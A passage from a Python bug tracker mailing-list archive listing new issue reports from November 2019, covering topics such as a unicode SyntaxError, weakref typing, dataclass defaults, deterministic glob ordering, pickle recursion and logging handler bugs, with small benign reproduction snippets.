 encoding declared; see http://python.org/dev/peps/pep-0263/ for details
Message-ID: <1573302408.95.0.156655994529.issue38755@roundup.psfhosted.org>


New submission from Andrew Ushakov <andrew.ushakov at gmail.com>:

Not very long unicode comment #, space and then 170 or more repetitions of the utf8 symbol ? (b'\xe2\x96\x91'.decode()) 

# ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

causes syntax error:

SyntaxError: Non-UTF-8 code starting with '\xe2' in file tst112.py on line 1, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details

Python file is attached. Second example is similar, but here unicode string with similar length is used as an argument of a print function.

print('\n????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????')

Similar Issue34979 was submitted one year ago...

----------
components: Interpreter Core
files: tst112.py
messages: 356298
nosy: Andrew Ushakov
priority: normal
severity: normal
status: open
title: Long unicode string causes SyntaxError: Non-UTF-8 code starting with '\xe2' in file ..., but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details
versions: Python 3.8
Added file: https://bugs.python.org/file48703/tst112.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38755>
_______________________________________

From report at bugs.python.org  Sat Nov  9 12:03:42 2019
From: report at bugs.python.org (Nils Kattenbeck)
Date: Sat, 09 Nov 2019 17:03:42 +0000
Subject: [New-bugs-announce] [issue38756] Add generic versions of weakref
 types to typing module
Message-ID: <1573319022.95.0.444268473979.issue38756@roundup.psfhosted.org>


New submission from Nils Kattenbeck <nilskemail at gmail.com>:

I would like to request the addition of generic variants of some of the types in weakref to the typing module.
This would for example include weakref.WeakKeyDictionary among others.

Doing so would allow one to add type annotations to code using such data structures.

----------
components: Library (Lib)
messages: 356304
nosy: Nils Kattenbeck
priority: normal
severity: normal
status: open
title: Add generic versions of weakref types to typing module
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38756>
_______________________________________

From report at bugs.python.org  Sat Nov  9 15:19:55 2019
From: report at bugs.python.org (Troulet-lambert Odile)
Date: Sat, 09 Nov 2019 20:19:55 +0000
Subject: [New-bugs-announce] [issue38757] mocking an exception,
 arguments do not seem to be passed to the mock
Message-ID: <1573330795.77.0.297424168509.issue38757@roundup.psfhosted.org>


New submission from Troulet-lambert Odile <piscvau at yahoo.fr>:

When patching an Exception with a side_effect to another exception, it seems like the exceiption arguments are not passed to the mock.

----------
components: Tests
files: essai mock_exception.py
messages: 356305
nosy: piscvau
priority: normal
severity: normal
status: open
title: mocking an exception, arguments do not seem to be passed to the mock
type: behavior
versions: Python 3.8
Added file: https://bugs.python.org/file48704/essai mock_exception.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38757>
_______________________________________

From report at bugs.python.org  Sat Nov  9 15:29:38 2019
From: report at bugs.python.org (Anthony)
Date: Sat, 09 Nov 2019 20:29:38 +0000
Subject: [New-bugs-announce] [issue38758] @dataclass defaults
Message-ID: <1573331378.39.0.720825104311.issue38758@roundup.psfhosted.org>


New submission from Anthony <anthonysarkis at gmail.com>:

Given one of the motivations of @dataclass is to reduce boilerplate code then, in the context of @dataclass,

x: list = [] should be equal to x: list = field(default_factory=lambda: [])

The example in PEP 557 is not reasonable. It should be:

class D:
    def __init__(self, x=[]):
        self.x = x

That x = None works (without specifying a default factory, and is different from plain "x")  makes the whole "factory" argument even more bizarre. Why would a None Type work, but a List Type not?

I think either the behavior of this should be different or the docs should at address this more clearly.

----------
components: Interpreter Core
messages: 356306
nosy: anthony
priority: normal
severity: normal
status: open
title: @dataclass defaults
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38758>
_______________________________________

From report at bugs.python.org  Sat Nov  9 16:41:01 2019
From: report at bugs.python.org (Ben Barbour)
Date: Sat, 09 Nov 2019 21:41:01 +0000
Subject: [New-bugs-announce] [issue38759] Python 2.7.9 x64 for Windows
 version is 2.7.13
Message-ID: <1573335661.07.0.0172616496506.issue38759@roundup.psfhosted.org>


New submission from Ben Barbour <bbarbour at gmail.com>:

When downloading Python 2.7.9 x64, the actual python executable is Python 2.7.13. The 32-bit version has the correct executable.

----------
messages: 356307
nosy: Ben Barbour
priority: normal
severity: normal
status: open
title: Python 2.7.9 x64 for Windows version is 2.7.13
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38759>
_______________________________________

From report at bugs.python.org  Sat Nov  9 18:18:29 2019
From: report at bugs.python.org (Han You)
Date: Sat, 09 Nov 2019 23:18:29 +0000
Subject: [New-bugs-announce] [issue38760] Document for
 urllib.error.HTTPError.headers Should Specify What Version
Message-ID: <1573341509.41.0.260213311106.issue38760@roundup.psfhosted.org>


New submission from Han You <hanyourmd at gmail.com>:

It says "New in version 3.4." so I put `urllib3>=3.4` in my requirements.txt. Turned out it is referring to the Python version.

https://docs.python.org/3.7/library/urllib.error.html#urllib.error.HTTPError.headers

----------
assignee: docs at python
components: Documentation
messages: 356312
nosy: Han You, docs at python
priority: normal
severity: normal
status: open
title: Document for urllib.error.HTTPError.headers Should Specify What Version
type: enhancement
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38760>
_______________________________________

From report at bugs.python.org  Sun Nov 10 06:39:15 2019
From: report at bugs.python.org (Nils Kattenbeck)
Date: Sun, 10 Nov 2019 11:39:15 +0000
Subject: [New-bugs-announce] [issue38761] weakref.WeakSet not instanceof
 collections.abc.Set
Message-ID: <1573385955.24.0.347004236069.issue38761@roundup.psfhosted.org>


New submission from Nils Kattenbeck <nilskemail at gmail.com>:

Instances of weakref.WeakSet are not instances of Set and therefore not of MutableSet but they are instances of Collection.
They however implement all required methods for a MutableSet and Weak(Key|Value)Dictionary are correctly identified.
Is this just an oversight or am I missing something?


from weakref import WeakKeyDictionary, WeakValueDictionary, WeakSet
from collections.abc import MutableMapping, Collection, Set, MutableSet

wkdict = WeakKeyDictionary()
wvdict = WeakValueDictionary()
ws = WeakSet()

assert isinstance(wkdict, MutableMapping)
assert isinstance(wvdict, MutableMapping)
assert isinstance(ws, Collection)
assert not isinstance(ws, Set)
assert not isinstance(ws, MutableSet)

----------
components: Library (Lib)
messages: 356326
nosy: Nils Kattenbeck
priority: normal
severity: normal
status: open
title: weakref.WeakSet not instanceof collections.abc.Set
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38761>
_______________________________________

From report at bugs.python.org  Sun Nov 10 16:53:15 2019
From: report at bugs.python.org (Delgan)
Date: Sun, 10 Nov 2019 21:53:15 +0000
Subject: [New-bugs-announce] [issue38762] Logging displays wrong
 "processName" if "sys.modules" is cleared in child process
Message-ID: <1573422795.72.0.548665383031.issue38762@roundup.psfhosted.org>


New submission from Delgan <delgan.py at gmail.com>:

Hi.

In order to display the process name in logs, the "logging" module checks for the presence of "multiprocessing" in "sys.modules" before calling "current_process()". If "multiprocessing" is not found in "sys.modules", it assumes that the current process is the main one.

See : https://github.com/python/cpython/blob/af46450bb97ab9bd38748e75aa849c29fdd70028/Lib/logging/__init__.py#L340-L341

However, nothing prevents a child process to delete "sys.module['multiprocessing']", which causes the process name to be wrongly displayed as "MainProcess".

I attached a reproducible example, but this is straightforward to understand. Although it should not happen very often in practice, it is still theoretically possible. Obviously, one could say "just don't clear sys.modules", but I suppose there might exist tools doing such thing for good reasons (like resetting the test environment).

Issues which lead to the current implementation:
- issue4301
- issue7120
- issue8200

Possible fixes: 
- Force import "multiprocessing.current_process()" even if not already loaded
- Add function "os.main_pid()" and set "processName" to "MainProcess" only if "os.getpid() == os.main_pid()"

----------
components: Library (Lib)
files: test.py
messages: 356338
nosy: Delgan
priority: normal
severity: normal
status: open
title: Logging displays wrong "processName" if "sys.modules" is cleared in child process
type: behavior
versions: Python 3.9
Added file: https://bugs.python.org/file48705/test.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38762>
_______________________________________

From report at bugs.python.org  Sun Nov 10 17:09:23 2019
From: report at bugs.python.org (Troulet-lambert Odile)
Date: Sun, 10 Nov 2019 22:09:23 +0000
Subject: [New-bugs-announce] [issue38763] mock with side effect :
 assert_called_once returns None while call_count returns 1
Message-ID: <1573423763.08.0.825923255021.issue38763@roundup.psfhosted.org>


New submission from Troulet-lambert Odile <piscvau at yahoo.fr>:

Using a mock with side_effect, I would expect that assert_called_once returns True if the mock has been called.
Yet it returns None while call_count== 1 returns True.

If this is not a bug, I would welcome some explanation in the documentation.

----------
components: Tests
files: bugmock.tar
messages: 356341
nosy: piscvau
priority: normal
severity: normal
status: open
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48706/bugmock.tar

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38763>
_______________________________________

From report at bugs.python.org  Sun Nov 10 21:31:05 2019
From: report at bugs.python.org (Brandt Bucher)
Date: Mon, 11 Nov 2019 02:31:05 +0000
Subject: [New-bugs-announce] [issue38764] Deterministic globbing.
Message-ID: <1573439465.82.0.454532301834.issue38764@roundup.psfhosted.org>


New submission from Brandt Bucher <brandtbucher at gmail.com>:

This has been discussed before, but we now have examples in the news of glob's non-deterministic behavior causing some real headaches for hundreds of people in the scientific community. After some cursory discussion (https://discuss.python.org/t/a-code-glitch-may-have-caused-errors-in-more-than-100-published-studies/2583) it was suggested that this issue would at least be worth revisiting, given the damage... bad programming practices aside.

The attached patch guarantees glob/iglob traversal order across all platforms, and modifies all of the existing tests to check for this.

One reason this was rejected twice before (in both issue 21748, four years ago, and issue 30461, two years ago) was the argument that the user could always just call "sorted" on the returned list if they wanted ordered results. Aside from losing the laziness of iglob, this solution also loses the traversal order, since recursive globs use a breadth-first search. In the attached patch, iglob is still just as lazy as ever, and the traversal is unchanged for anyone using a platform that already returns sorted results.

----------
components: Library (Lib)
messages: 356344
nosy: brandtbucher, njs
priority: normal
severity: normal
status: open
title: Deterministic globbing.
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38764>
_______________________________________

From report at bugs.python.org  Mon Nov 11 09:31:03 2019
From: report at bugs.python.org (=?utf-8?q?Pekka_Kl=C3=A4rck?=)
Date: Mon, 11 Nov 2019 14:31:03 +0000
Subject: [New-bugs-announce] [issue38765] `ast.AST._attributes` is used by
 `ast.dump()` but not documented
Message-ID: <1573482663.72.0.733055997415.issue38765@roundup.psfhosted.org>


New submission from Pekka Kl?rck <pekka.klarck at gmail.com>:

We have implemented an ast for our own tool so that we extend Python's standard `ast.AST`. When using `ast.dump(node, include_attributes=True)`, we were surprised to notice that line numbers weren't dumped although the docs of `ast.dump()` said they should be and we had set both `lineno` and `end_lineno` attributes to our nodes.

Looking at the implementation of `ast.dump()` revealed that `include_attributes=True` alone wasn't enough, the node also needed to have `_attributes` attribute similarly as it needs to have `_fields` for `ast.dump()` to be able to dump also child nodes. The problem is that `_attributes` isn't documented at all. Related to that, `ast.dump()` using `_fields` isn't documented either, but at least `_fields` is mentioned in the docs otherwise. Relevant links to `ast.dump()` docs and to the source code below.

`ast.AST` documents the `_fields` attribute but doesn't mention similar `_attributes`:
https://docs.python.org/3/library/ast.html#ast.AST

`ast.dump()` documents the `include_attributes` argument but doesn't mention that `_attributes` is needed (or that `_fields` needs to be set correctly to get child notes dumped):
https://docs.python.org/3/library/ast.html#ast.dump

`ast.dump()` source code shows that the undocumented `_attributes` needs to be set in addition to using `include_attributes=True`:
https://github.com/python/cpython/blob/3.8/Lib/ast.py#L123

----------
messages: 356362
nosy: pekka.klarck
priority: normal
severity: normal
status: open
title: `ast.AST._attributes` is used by `ast.dump()` but not documented

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38765>
_______________________________________

From report at bugs.python.org  Mon Nov 11 11:14:22 2019
From: report at bugs.python.org (mlj)
Date: Mon, 11 Nov 2019 16:14:22 +0000
Subject: [New-bugs-announce] [issue38766] AttributeError:
 'xml.etree.ElementTree.ParseError' has no attribute 'filename'
Message-ID: <1573488862.44.0.586057107298.issue38766@roundup.psfhosted.org>


New submission from mlj <mlittlej at live.co.uk>:

traceback.py and how it handles 'SyntaxError's, which includes a bunch of assumptions about attributes that a SyntaxError should have defined:

https://github.com/python/cpython/blob/master/Lib/traceback.py#L516

Definition of xml.etree.ElementTree.ParseError, marking it out as a sub-class of a SyntaxError:

https://github.com/python/cpython/blob/master/Lib/xml/etree/ElementTree.py#L106

How a ParseError is raised by ElementTree, noting that it doesn't set `filename` (and probably `text` too) as an attribute of the exception isntance:

https://github.com/python/cpython/blob/master/Lib/xml/etree/ElementTree.py#L1625

The most recent commit in the code areas I've highlighted is from `6bc2c1e7ebf359224e5e547f58ffc2c42cb36a39` from March 2015, which added in the assumptions about attributes to `traceback.py`.

The whole thing is markedly confusing, because the code in `traceback.py` isn't being run inside an exception handler, so when it crashes it completly obfuscates the actual root-cause of the issue (in other cases you'd get the "while handling this error, another happened" which is much more user friendly).

I'm not sure what the correct fix here is but I tried making xml.etree.ElementTree.ParseError a standalone exception, not a sub-class of SyntaxError but it didn't take. Probably shouldn't be delving about in the guts of the python-core on my laptop, but ho-hum.

----------
components: XML
messages: 356366
nosy: mlj
priority: normal
severity: normal
status: open
title: AttributeError: 'xml.etree.ElementTree.ParseError' has no attribute 'filename'
type: crash
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38766>
_______________________________________

From report at bugs.python.org  Mon Nov 11 12:08:46 2019
From: report at bugs.python.org (Tilman Roeder)
Date: Mon, 11 Nov 2019 17:08:46 +0000
Subject: [New-bugs-announce] [issue38767] Replace Mersenne Twister RNG with
 a PCG family algorithm
Message-ID: <1573492126.38.0.315773504148.issue38767@roundup.psfhosted.org>


New submission from Tilman Roeder <tilmroe at gmail.com>:

Currently, the `random.random()` function / the random module uses the Mersenne Twister algorithm for generating random numbers.

While this algorithm has acceptable statistical properties for most use-cases (and does feature a ridiculously large period), it is slow and very memory intensive when compared with algorithms from the PCG family (see http://www.pcg-random.org). PCG family algorithms also have much better statistical properties than the Mersenne Twister.

I would propose to replace the underlying generator in `random` with a suitable PCG family algorithm, while not changing any of the external interfaces of the module. I think that the change would make the module faster, better in terms of memory usage, and improve the statistical properties of Python's default random numbers.

I have not done anything in the direction in terms of writing any code, but if this sounds like something that would be sensible, I would be happy to work on the change and submit a PR.

Also, this is the first time I am contributing to Python/ writing an issue here, so apologies if this is not the correct place to make a suggestion like this.

----------
components: Extension Modules
messages: 356371
nosy: dyedgreen, mark.dickinson, rhettinger
priority: normal
severity: normal
status: open
title: Replace Mersenne Twister RNG with a PCG family algorithm
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38767>
_______________________________________

From report at bugs.python.org  Mon Nov 11 12:25:55 2019
From: report at bugs.python.org (Manjusaka)
Date: Mon, 11 Nov 2019 17:25:55 +0000
Subject: [New-bugs-announce] [issue38768] Support lldb enhancement in MacOS
Message-ID: <1573493155.23.0.630795788847.issue38768@roundup.psfhosted.org>


New submission from Manjusaka <lizheao940510 at gmail.com>:

After MacOS 10.15.x, Apple has changed this system feature that will make more difficult for using GDB in MacOS. 

So is there any chance to support lldb enhancement such as py-list and etc.?

----------
components: macOS
messages: 356372
nosy: Manjusaka, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: Support lldb enhancement in MacOS
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38768>
_______________________________________

From report at bugs.python.org  Mon Nov 11 14:40:25 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Mon, 11 Nov 2019 19:40:25 +0000
Subject: [New-bugs-announce] [issue38769] generators are currently hashable
Message-ID: <1573501225.64.0.289952909521.issue38769@roundup.psfhosted.org>


New submission from Anthony Sottile <asottile at umich.edu>:

We recently found a bug in one of our codebases that looked ~roughly like this:

class C:
    ...

    def __hash__(self):
        return hash((v for k, v in sorted(self.__dict__.items())))

which resulted in a production bug

The *intention* was to hash a tuple of those elements but the author had forgotten the `tuple(...)` call (or incorrectly assumed a parenthesized generator was a tuple comprehension) -- either way it seems wrong that generators are currently hashable as they are mutable

Thoughts on `__hash__ = None` for generators?

----------
components: Interpreter Core
messages: 356382
nosy: Anthony Sottile
priority: normal
severity: normal
status: open
title: generators are currently hashable
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38769>
_______________________________________

From report at bugs.python.org  Mon Nov 11 16:10:17 2019
From: report at bugs.python.org (Saim Raza)
Date: Mon, 11 Nov 2019 21:10:17 +0000
Subject: [New-bugs-announce] [issue38770] Pickle handle self references in
 classes
Message-ID: <1573506617.89.0.382822936013.issue38770@roundup.psfhosted.org>


New submission from Saim Raza <saimorsaim at gmail.com>:

If the __qualname__ of a class is set to have a circular reference to itself, pickle behaves differently based on protocol. Following script demonstrates the issue:

======================================================
from __future__ import print_function

import pickle, sys

class Foo:
    __name__ = __qualname__ = "Foo.ref"
    pass

Foo.ref = Foo

print(sys.version_info)

for proto in range(0, pickle.HIGHEST_PROTOCOL + 1):
    print("{}:".format(proto), end=" ")
    try:
        pkl = pickle.dumps(Foo, proto)
        print("Dump OK,", end=" ")
        assert(pickle.loads(pkl) is Foo)
        print("Load OK,")
    except Exception as err:
        print(repr(err))
======================================================
OUTPUT:
Python2.7:
sys.version_info(major=2, minor=7, micro=16, releaselevel='final', serial=0)
0: Dump OK, Load OK,
1: Dump OK, Load OK,
2: Dump OK, Load OK,

Python3.7:
sys.version_info(major=3, minor=7, micro=3, releaselevel='final', serial=0)
0: RecursionError('maximum recursion depth exceeded while pickling an object')
1: RecursionError('maximum recursion depth exceeded while pickling an object')
2: RecursionError('maximum recursion depth exceeded while pickling an object')
3: RecursionError('maximum recursion depth exceeded while pickling an object')
4: Dump OK, Load OK,
======================================================

This was introduced as a side effect of issue#23611 (?). I can think of the following approaches to fix the issue and make the behavior consistent:

1. Check if the class has a self-reference and raise an error for all protocols.
2. Use memoization to handle self-references. I am not sure what should be dumped in this case. In the example above `Foo` will exist in the namespace but not `Foo.ref`. 
3. Dump such classes similar to Python 2 pickle and Python 3 pickle protocol >= 4.

I had a stab at pickle.py and had a bit of success in doing point 3 above. Posting this issue for discussions. I would be happy to submit a PR for this issue.

Thanks,
Saim Raza

----------
components: Library (Lib)
messages: 356388
nosy: Saim Raza, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Pickle handle self references in classes
type: behavior
versions: Python 2.7, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38770>
_______________________________________

From report at bugs.python.org  Mon Nov 11 17:39:04 2019
From: report at bugs.python.org (Jonathan Scholbach)
Date: Mon, 11 Nov 2019 22:39:04 +0000
Subject: [New-bugs-announce] [issue38771] Bug in example of
 collections.ChainMap
Message-ID: <1573511944.68.0.0422664907802.issue38771@roundup.psfhosted.org>


New submission from Jonathan Scholbach <j.scholbach at posteo.de>:

Below "Examples and Recipes", the Documentation of collections.ChainMap has an "Example of letting user specified command-line arguments take precedence over environment variables which in turn take precedence over default values:" In there, a ChainMap is created which represents the default values, updated by the command-line arguments, if they have been set. The relevant code snippet is the following:
   
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--user')
    parser.add_argument('-c', '--color')
    namespace = parser.parse_args()
    command_line_args = {k:v for k, v in vars(namespace).items() if v}

If user passes an empty string as value for any of the command-line arguments, that argument would not appear in `command_line_args` (because the boolean value of empty string is `False`). However, passing the empty string as a value for a command-line argument, would reflect the intent of overwriting the default value (setting it to the empty string). With the current example code, this would erroneously not be reflected in the `command_line_args`. This is caused by checking for the boolean of `v` instead of checking for `v` not being `None`. So, this should be handled correctly by writing

    command_line_args = {k: v for k, v in vars(namespace).items() if v is not None}

----------
assignee: docs at python
components: Documentation
messages: 356398
nosy: docs at python, jonathan.scholbach
priority: normal
severity: normal
status: open
title: Bug in example of collections.ChainMap
versions: Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38771>
_______________________________________

From report at bugs.python.org  Mon Nov 11 19:08:50 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Archer?=)
Date: Tue, 12 Nov 2019 00:08:50 +0000
Subject: [New-bugs-announce] [issue38772] shutil.copytree fail to copy some
 bytes
Message-ID: <1573517330.77.0.396990745191.issue38772@roundup.psfhosted.org>


New submission from St?phane Archer <archerstephane at gmail.com>:

I use shutil.copytree to copy photos from many sd cards to a hard drive.
I use thread for each sd card. then I check if the content has been copying correctly with filecmp.cmpfiles with shallow to false. and surprise!!!
some files are not identical. usually, just one byte has not been properly copying

----------
components: IO
files: diff.png
messages: 356403
nosy: St?phane Archer
priority: normal
severity: normal
status: open
title: shutil.copytree fail to copy some bytes
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48707/diff.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38772>
_______________________________________

From report at bugs.python.org  Mon Nov 11 23:19:07 2019
From: report at bugs.python.org (Rohit)
Date: Tue, 12 Nov 2019 04:19:07 +0000
Subject: [New-bugs-announce] [issue38773] Fatal Python error: Aborted
Message-ID: <1573532347.12.0.111468520107.issue38773@roundup.psfhosted.org>


New submission from Rohit <rohitlal.125555 at gmail.com>:

Python is crashing frequently. The frequency lies anywhere in between 10 hours to 24 hours of running the program.

Packages used in my program:
numba.cuda, numpy, sklearn.cluster, cv2, falcon, multiprocessing, faulthandler 

Priority: High

----------
components: Interpreter Core
files: python_error.txt
messages: 356410
nosy: rohitlal.125555 at gmail.com
priority: normal
severity: normal
status: open
title: Fatal Python error: Aborted
type: crash
versions: Python 3.6
Added file: https://bugs.python.org/file48708/python_error.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38773>
_______________________________________

From report at bugs.python.org  Tue Nov 12 04:48:10 2019
From: report at bugs.python.org (=?utf-8?q?Torbj=C3=B8rn_Wikestad?=)
Date: Tue, 12 Nov 2019 09:48:10 +0000
Subject: [New-bugs-announce] [issue38774] Statements in try block still
 executes after raised error
Message-ID: <1573552090.89.0.826307199314.issue38774@roundup.psfhosted.org>


New submission from Torbj?rn Wikestad <torbjorn.wikestad at gmail.com>:

In a script that runs in a IPython 3.6 console (Spyder IDE, part of a WinPython bundle), a counter increment statement is executed after a function call which raises an ValueError exception in try ... except structure. This does not seem to be the correct interpreter behavior, from the resources that I found, as the expected behaviour is said for execution to jump directly to the except block.

----------
assignee: docs at python
components: Documentation, Interpreter Core, Windows
messages: 356429
nosy: Torbj?rn Wikestad, docs at python, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Statements in try block still executes after raised error
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38774>
_______________________________________

From report at bugs.python.org  Tue Nov 12 04:49:13 2019
From: report at bugs.python.org (Kafeel Ansari)
Date: Tue, 12 Nov 2019 09:49:13 +0000
Subject: [New-bugs-announce] [issue38775] Cloudpickle.py file is crashing
 due to data type incompatibility.
Message-ID: <1573552153.69.0.800822929594.issue38775@roundup.psfhosted.org>


New submission from Kafeel Ansari <kafeelansari24 at gmail.com>:

I tried python3.8 for my project. But it is crashing in the beginning . When debugged , found out that "Line 145 in cloudpickle.py" is returning the value in bytes which is not expected.

Code Snippet: 
 
 _cell_set_template_code = _make_cell_set_template_code()

Error: 

return types.CodeType(
TypeError: an integer is required (got type bytes)

----------
components: Windows
messages: 356430
nosy: kafeel.ansari, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Cloudpickle.py file is crashing due to data type incompatibility.
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38775>
_______________________________________

From report at bugs.python.org  Tue Nov 12 05:00:07 2019
From: report at bugs.python.org (toywei)
Date: Tue, 12 Nov 2019 10:00:07 +0000
Subject: [New-bugs-announce] [issue38776] rlock_count<0
Message-ID: <1573552807.68.0.797994213494.issue38776@roundup.psfhosted.org>


New submission from toywei <g1e2t3 at foxmail.com>:

Modules\_threadmodule.c
    if (self->rlock_count == 0 || self->rlock_owner != tid) {
==>
    if (self->rlock_count <= 0 || self->rlock_owner != tid) {

----------
components: Build
messages: 356431
nosy: toywei
priority: normal
severity: normal
status: open
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38776>
_______________________________________

From report at bugs.python.org  Tue Nov 12 06:08:52 2019
From: report at bugs.python.org (David Nicolson)
Date: Tue, 12 Nov 2019 11:08:52 +0000
Subject: [New-bugs-announce] [issue38777] plist handling of real data type
Message-ID: <1573556932.79.0.676110045358.issue38777@roundup.psfhosted.org>


New submission from David Nicolson <david.nicolson at gmail.com>:

Converting float values stored as strings with the real data type can result in an integer value or a rounding error.

import plistlib

xml = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>FloatExample</key>
<real>100.0</real>
<key>FloatExample2</key>
<real>0.1</real>
</dict>
</plist>
"""

pl = plistlib.loads(str.encode(xml), fmt=plistlib.FMT_XML)
with open('test.plist', 'wb') as fp:
  plistlib.dump(pl, fp, fmt=plistlib.FMT_BINARY)

cat test.plist | plutil -convert xml1 -o - -- -
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>FloatExample</key>
	<real>100</real>
	<key>FloatExample2</key>
	<real>0.10000000000000001</real>
</dict>
</plist>

This might be related to the following issue:

https://bugs.python.org/issue14896

----------
messages: 356440
nosy: David Nicolson
priority: normal
severity: normal
status: open
title: plist handling of real data type
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38777>
_______________________________________

From report at bugs.python.org  Tue Nov 12 09:38:20 2019
From: report at bugs.python.org (Phil Connell)
Date: Tue, 12 Nov 2019 14:38:20 +0000
Subject: [New-bugs-announce] [issue38778] Document that os.fork is not
 allowed in subinterpreters
Message-ID: <1573569500.54.0.207485115661.issue38778@roundup.psfhosted.org>


New submission from Phil Connell <pconnell at gmail.com>:

Add a comment to the os.fork docs to note that forking from a subinterpreter is no longer allowed (see issue34651)

----------
assignee: docs at python
components: Documentation
messages: 356459
nosy: docs at python, eric.snow, pconnell
priority: normal
severity: normal
status: open
title: Document that os.fork is not allowed in subinterpreters
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38778>
_______________________________________

From report at bugs.python.org  Tue Nov 12 09:41:03 2019
From: report at bugs.python.org (Michael H)
Date: Tue, 12 Nov 2019 14:41:03 +0000
Subject: [New-bugs-announce] [issue38779] Simple typo in strings module
 documentation
Message-ID: <1573569663.29.0.774933037403.issue38779@roundup.psfhosted.org>


New submission from Michael H <mchartley.uk at gmail.com>:

https://docs.python.org/3/tutorial/introduction.html#strings

In the strings part of the basic tutorial, there is an output error regarding the escaping of the single quote

>>> '"Isn\'t," they said.'
'"Isn\'t," they said.' # I think the output should be correct

Thanks

----------
assignee: docs at python
components: Documentation
messages: 356461
nosy: Michael H2, docs at python
priority: normal
severity: normal
status: open
title: Simple typo in strings module documentation
type: compile error
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38779>
_______________________________________

From report at bugs.python.org  Tue Nov 12 12:26:09 2019
From: report at bugs.python.org (Jason R. Coombs)
Date: Tue, 12 Nov 2019 17:26:09 +0000
Subject: [New-bugs-announce] [issue38780] SysLogHandler crash atexit
Message-ID: <1573579569.01.0.575609345468.issue38780@roundup.psfhosted.org>


New submission from Jason R. Coombs <jaraco at jaraco.com>:

On Python 3.8.0:

$ python -c "import logging.handlers, socket; handler = logging.handlers.SysLogHandler(facility=logging.handlers.SysLogHandler.LOG_LOCAL7, address='/dev/log', socktype=socket.SOCK_RAW)"                                                     
Error in atexit._run_exitfuncs:
Traceback (most recent call last):
  File "/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/logging/__init__.py", line 2112, in shutdown
    h.close()
  File "/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/logging/handlers.py", line 892, in close
    self.socket.close()
AttributeError: 'SysLogHandler' object has no attribute 'socket'

Probably that shouldn't happen.

----------
messages: 356475
nosy: jaraco
priority: normal
severity: normal
status: open
title: SysLogHandler crash atexit

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38780>
_______________________________________

From report at bugs.python.org  Tue Nov 12 16:43:12 2019
From: report at bugs.python.org (Daniel Andersson)
Date: Tue, 12 Nov 2019 21:43:12 +0000
Subject: [New-bugs-announce] [issue38781] Clear buffer in MemoryHandler flush
Message-ID: <1573594992.8.0.415095728854.issue38781@roundup.psfhosted.org>


New submission from Daniel Andersson <daniel.4ndersson at gmail.com>:

The `logging.handlers.MemoryHandler` has a method `flush` which clears the buffer by assigning an empty list literal:

self.buffer = []

This forces the buffer to be a list instance.
My suggestion is to clear the buffer like this instead:

self.buffer.clear()

In this way it would be possible to implement a custom buffer or use the `collections.deque` when subclassing `MemoryHandler`. At the moment you must copy-past the `flush` method and modify it accordingly in the subclass:

```
def flush(self):
    # (Docstring skipped)
    self.acquire()
    try:
        if self.target:
